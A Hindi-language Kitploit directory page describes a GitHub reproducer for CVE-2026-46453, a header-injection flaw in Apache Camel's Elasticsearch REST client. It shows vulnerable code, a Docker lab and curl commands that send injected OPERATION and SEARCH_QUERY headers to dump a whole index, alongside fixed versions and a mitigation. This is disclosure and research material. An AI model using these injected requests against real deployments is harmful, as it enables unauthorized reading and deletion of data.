Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-46453 — CVE-2026-46453 के लिए रिप्रोड्यूसर — Apache Camel camel-elasticsearch-rest-client बिना-उपसर्ग वाला हेडर इंजेक्शन (इनबाउंड HTTP हेडर के माध्यम से ऑपरेशन/क्वेरी ओवरराइड) | Kitploit
उपकरण/GitHubGitHub/oscerd/cve-2026-46453
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणएपीआई सुरक्षा परीक्षणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षा
GitHuboscerd/cve-2026-46453

CVE-2026-46453

CVE-2026-46453 के लिए रिप्रोड्यूसर — Apache Camel camel-elasticsearch-rest-client बिना-उपसर्ग वाला हेडर इंजेक्शन (इनबाउंड HTTP हेडर के माध्यम से ऑपरेशन/क्वेरी ओवरराइड)

रिपॉजिटरी देखें
51 महीना पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

camel-elasticsearch-rest-client बिना-उपसर्ग वाला हेडर इंजेक्शन रिप्रोड्यूसर (CVE-2026-46453)

यह प्रोजेक्ट Apache Camel के camel-elasticsearch-rest-client घटक में एक मैसेज-हेडर इंजेक्शन / प्राधिकरण बायपास को प्रदर्शित करता है, जिसे CVE-2026-46453 के रूप में ट्रैक किया गया है। यह घटक अपने व्यवहार को नियंत्रित करने के लिए कई Exchange हेडर पढ़ता है — SEARCH_QUERY, OPERATION, INDEX_NAME, INDEX_SETTINGS, ID। प्रभावित संस्करणों में ये हेडर स्ट्रिंग मान सादे, बिना-उपसर्ग वाले नाम ("OPERATION", "SEARCH_QUERY", …) हैं, न कि Camel-उपसर्ग वाले नाम जो हर दूसरा घटक उपयोग करता है। Camel का इनबाउंड केवल उन नामों को ब्लॉक करता है जो / से शुरू होते हैं, इसलिए ये हेडर । जब कोई रूट elasticsearch-rest-client प्रोड्यूसर के सामने एक HTTP एंट्री पॉइंट (जैसे platform-http) उजागर करता है, तो एक अविश्वसनीय HTTP क्लाइंट इन हेडर को सीधे सेट कर सकता है और कर सकता है — पूरा इंडेक्स पढ़ना, दस्तावेज़ हटाना, आदि। किसी क्रेडेंशियल की आवश्यकता नहीं है।

HttpHeaderFilterStrategy
Camel
camel
इनबाउंड फ़िल्टर से बिना बदलाव के गुज़र जाते हैं
रूट लेखक द्वारा कॉन्फ़िगर किए गए क्वेरी और ऑपरेशन को ओवरराइड

परामर्श: https://camel.apache.org/security/CVE-2026-46453.html

भेद्यता सारांश

PropertyValue
घटकcamel-elasticsearch-rest-client
प्रभावित स्थिरांकElasticSearchRestClientConstant — ID, SEARCH_QUERY, INDEX_SETTINGS, INDEX_NAME, OPERATION (बिना-उपसर्ग मान)
CWECWE-20 (अनुचित इनपुट सत्यापन) + CWE-639 (उपयोगकर्ता-नियंत्रित कुंजी के माध्यम से प्राधिकरण बायपास)
प्रभावअविश्वसनीय HTTP क्लाइंट ES ऑपरेशन/क्वेरी को ओवरराइड करता है — दस्तावेज़ पढ़ना/हटाना/बाहर निकालना
प्रभावित संस्करण4.3.0 से पहले 4.14.8, 4.15.0 से पहले 4.18.3, 4.19.0 से पहले 4.21.0
स्थिर संस्करण4.14.8, 4.18.3, 4.21.0
JIRACAMEL-23508
रिपोर्टकर्ताYu Bao (PayPal)

यह CVE-2025-27636, CVE-2025-29891, CVE-2025-30177, CVE-2026-40453 और CVE-2026-47323 के समान हेडर-इंजेक्शन परिवार है — ये सभी इनबाउंड हेडर पढ़ने वाले घटकों से उत्पन्न होते हैं, जिन्हें डिफ़ॉल्ट HeaderFilterStrategy ब्लॉक नहीं करता क्योंकि नाम Camel उपसर्ग से शुरू नहीं होते।

तकनीकी विवरण

root@kitploit:~
// ElasticSearchRestClientConstant - affected 4.18.2 (unprefixed values)
public static final String ID = "ID";
public static final String SEARCH_QUERY = "SEARCH_QUERY";
public static final String INDEX_SETTINGS = "INDEX_SETTINGS";
public static final String INDEX_NAME = "INDEX_NAME";
public static final String OPERATION = "OPERATION";

// ElasticsearchRestClientProducer#resolveOperation - the header wins over the endpoint's configured operation
ElasticsearchRestClientOperation operation
        = exchange.getMessage().getHeader(OPERATION, endpoint.getOperation(), ElasticsearchRestClientOperation.class);

HttpHeaderFilterStrategy केवल Camel*/camel* को ब्लॉक करता है, इसलिए एक इनबाउंड HTTP हेडर OPERATION: SEARCH (और SEARCH_QUERY: {...}) गुज़र जाता है और रूट लेखक के operation=GET_BY_ID को ओवरराइड कर देता है। फिक्स (4.14.8 / 4.18.3 / 4.21.0) मानों को CamelElasticsearchOperation, CamelElasticsearchSearchQuery, आदि में बदल देता है, ताकि इनबाउंड फ़िल्टर उन्हें ब्लॉक कर सके (Java फ़ील्ड नाम अपरिवर्तित हैं)।

पीड़ित रूट

root@kitploit:~
from("platform-http:/products")
    .to("elasticsearch-rest-client:reproducer?hostAddressesList=<host:port>&operation=GET_BY_ID&indexName=products");
    // route author intends a single, safe operation: fetch one document by id

एक हमलावर का HTTP अनुरोध OPERATION: SEARCH + SEARCH_QUERY: {"query":{"match_all":{}}} के साथ इसे ओवरराइड करता है और पूरा इंडेक्स डंप कर देता है।

रिपॉजिटरी लेआउट

पीड़ित Camel रूट है; हमलावर कोई भी HTTP क्लाइंट है जो platform-http एंडपॉइंट तक पहुँच सकता है। रिप्रोड्यूसर Docker में एक वास्तविक Elasticsearch चलाता है और होस्ट पर Camel ऐप (ऐप मैप किए गए पोर्ट पर ES से बात करता है)।

root@kitploit:~
CVE-2026-46453/
├── pom.xml                 # camel-platform-http + camel-elasticsearch-rest-client 4.18.2
├── docker-compose.yml      # Elasticsearch 8.15.3 (security disabled)
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── EsSeeder.java           # seeds a "public" and a "secret" document
    │   ├── VictimRoute.java        # platform-http -> elasticsearch-rest-client (GET_BY_ID)
    │   └── ExploitController.java  # attacker: legit GET_BY_ID vs injected OPERATION=SEARCH
    └── resources/
        └── application.properties

पूर्वापेक्षाएँ

  • Java 17+ और Maven 3.8+
  • Docker (Elasticsearch चलाता है)

पुनरुत्पादन चरण

चरण 1: Elasticsearch प्रारंभ करें

root@kitploit:~
docker compose up -d
# wait until ready:
curl -s -o /dev/null -w "%{http_code}\n" http://localhost:9200/     # -> 200

चरण 2: ऐप बनाएँ और चलाएँ (होस्ट पर, ES कंटेनर से बात करते हुए)

root@kitploit:~
mvn clean package -DskipTests
java -jar target/cve-2026-46453-elasticsearch-0.0.1-SNAPSHOT.jar
# the app seeds the 'products' index with a public and a secret document on startup

चरण 3: हेडर इंजेक्शन ट्रिगर करें

root@kitploit:~
curl -s http://localhost:8080/exploit/attack
# === 1) Legitimate request (ID=public-1) ===
#   {"name":"Public Widget","visibility":"public"}      secret leaked: false
# === 2) Attack request (OPERATION=SEARCH, SEARCH_QUERY=match_all) ===
#   [ ...public..., {"name":"CLASSIFIED-LAUNCH-CODES", ...} ]   secret leaked: true
#
# >>> Header-injection proof — attacker overrode the operation and read the whole index: true

आप इसे हाथ से भी कर सकते हैं — इंजेक्ट किए गए हेडर सीधे platform-http के इनबाउंड फ़िल्टर से गुज़रते हैं:

root@kitploit:~
# legit: route author's GET_BY_ID returns only the public doc
curl -s -H "ID: public-1" http://localhost:8080/products
# attack: override the operation and dump the whole index (incl. the secret)
curl -s -H "OPERATION: SEARCH" -H 'SEARCH_QUERY: {"query":{"match_all":{}}}' http://localhost:8080/products

सफ़ाई

root@kitploit:~
docker compose down

हमले के वेक्टर

कोई भी रूट जो elasticsearch-rest-client प्रोड्यूसर के सामने एक HTTP एंट्री पॉइंट उजागर करता है। हमलावर इनबाउंड HTTP अनुरोध पर OPERATION, SEARCH_QUERY, INDEX_NAME, INDEX_SETTINGS, या ID सेट करता है; वे Camel-उपसर्ग इनबाउंड फ़िल्टर को बायपास करते हैं और प्रोड्यूसर तक पहुँचते हैं।

शोषण की शर्तें

  1. एक HTTP उपभोक्ता (जैसे platform-http) जो प्रभावित संस्करण पर elasticsearch-rest-client प्रोड्यूसर को रूट कर रहा हो।
  2. डिफ़ॉल्ट HttpHeaderFilterStrategy (केवल Camel* को ब्लॉक करता है), जो बिना-उपसर्ग ES हेडर को कवर नहीं करता।

अनुशंसित समाधान

4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23508) में अपग्रेड करें, जो हेडर मानों को Camel उपसर्ग देता है ताकि इनबाउंड फ़िल्टर उन्हें ब्लॉक कर सके।

शमन

अपग्रेड करने तक, प्रोड्यूसर से पहले अविश्वसनीय इनबाउंड संदेशों से प्रभावित हेडर हटाएँ:

root@kitploit:~
.removeHeaders("SEARCH_QUERY|OPERATION|INDEX_NAME|INDEX_SETTINGS|ID")

या एक कस्टम HeaderFilterStrategy लागू करें जो इन नामों को ब्लॉक करे।

अस्वीकरण

यह रिप्रोड्यूसर केवल सुरक्षा अनुसंधान और अधिकृत परीक्षण के लिए, एक सार्वजनिक रूप से प्रकट और स्थिर भेद्यता के लिए प्रदान किया गया है। इसे बिना स्पष्ट अनुमति के सिस्टम के विरुद्ध उपयोग न करें।

टूल डाउनलोड करें